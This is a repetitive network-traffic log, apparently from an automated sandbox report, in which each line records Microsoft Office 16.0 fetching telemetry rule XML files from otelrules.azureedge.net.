Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
